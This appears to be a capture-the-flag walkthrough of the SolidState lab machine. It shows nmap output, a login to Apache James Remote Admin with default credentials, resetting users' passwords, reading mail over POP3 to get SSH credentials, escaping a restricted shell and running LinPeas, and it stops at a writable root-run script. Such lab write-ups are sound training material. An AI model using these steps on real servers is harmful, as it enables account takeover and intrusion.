We find the IP of the vulnerable machine to be 192.168.10.28
2. Scanning
2.1 Nmap
Using nmap to find the open ports and their services
nmap -Pn -A -p- 192.168.10.28 root@j0zack
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-22 10:02 IST
Nmap scan report for 192.168.10.28
Host is up (0.0014s latency).
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
| 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
| 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp open smtp JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org (192.168.10.25 [192.168.10.25]), PIPELINING, ENHANCEDSTATUSCODES
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Home - Solid State Security
|_http-server-header: Apache/2.4.25 (Debian)
110/tcp open pop3 JAMES pop3d 2.3.2
119/tcp open nntp JAMES nntpd (posting ok)
4555/tcp open james-admin JAMES Remote Admin 2.3.2
MAC Address: 08:00:27:D4:AF:6C (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 1.39 ms 192.168.10.28
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.44 seconds
We find open ports 22, 25, 80, 110, 119, 4555 with services ssh, smtp, http, pop3 , nntp and a Apache James running respectively.
We do not find anything interesting in the webpage
2.2 James Remote Admin
Default credentials of James Remote Administration toll is root : root
Logging in to the server via nc and using the default credentials.
nc 192.168.10.28 4555 1m 8s root@j0zack
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
We find 5 users
Welcome root. HELP for a list of commands
listusers
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin
We can use the setpassword command to reset all users passwords to 123456
setpassword mindy 123456
Password for mindy reset
2.3 POP3
We can use telnet to log in to the pop3 servers to retrieve any useful information from the mails. (user mindy got some juicy info.)
telnet 192.168.10.28 110 30s root@j0zack
Trying 192.168.10.28...
Connected to 192.168.10.28.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
We can log in as mindy with the password 123456 and retrieve their mail.
user mindy
+OK
pass 123456
+OK Welcome mindy
list
+OK 2 1945
1 1109
2 836
We find 2 mails for mindy
Getting 1st mail
retr 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
for <mindy@localhost>;
Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
From: mailadmin@localhost
Subject: Welcome
Dear Mindy,
Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.
We are looking forward to you joining our team and your success at Solid State Security.
Respectfully,
James
We find out that mindy recently joined the team and this is her welcome address mail.
Getting 2nd mail
retr 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
for <mindy@localhost>;
Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access
Dear Mindy,
Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.
username: mindy
pass: P@55W0rd1!2@
Respectfully,
James
Here we get the ssh access credentials for mindy
mindy : P@55W0rd1!2@
3. Initial Foothold
3.1 SSH
Using ssh to remotely log in as mindy
ssh mindy@192.168.10.28 23s root@j0zack
mindy@192.168.10.28s password:
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 22 14:00:02 2017 from 192.168.11.142
mindy@solidstate:~$ ls
bin user.txt
mindy@solidstate:~$ cat user.txt
914d0a4ebc1777889b5b89a23f556fd75
mindy@solidstate:~$ cd ..
-rbash: cd: restricted
Here we find the user.txt and also notice that we are using a restricted bash (rbash) with limited commands
In order to spawn a regular bash shell to get its full functionality, we simply use ssh again to login as mindy as well as specify bash at the end of the command.
Stabilizing the shell; We find 2 users james and mindy
python -c 'import pty;pty.spawn("/bin/bash")'
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ cd ../
cd ../
${debian_chroot:+($debian_chroot)}mindy@solidstate:/home$ ls
ls
james mindy
4. Privilege Escalation
4.1LinPeas
We can use the script LinPeas to find any vulnerabilities or potential privilege escalation vectors.
The script shows an interesting file /opt/tmp.py which is writable
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/home/mindy
/opt/tmp.py
/run/lock
/run/user/1001
/run/user/1001/gnupg
/run/user/1001/systemd
/run/user/1001/systemd/transient
/tmp
/tmp/.ICE-unix
/tmp/.Test-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/tmp/.font-unix
/var/tmp
Viewing the file, we see that it is a script which is run by root to execute a command that removes every file and folders from the /tmp directory at regular intervals.
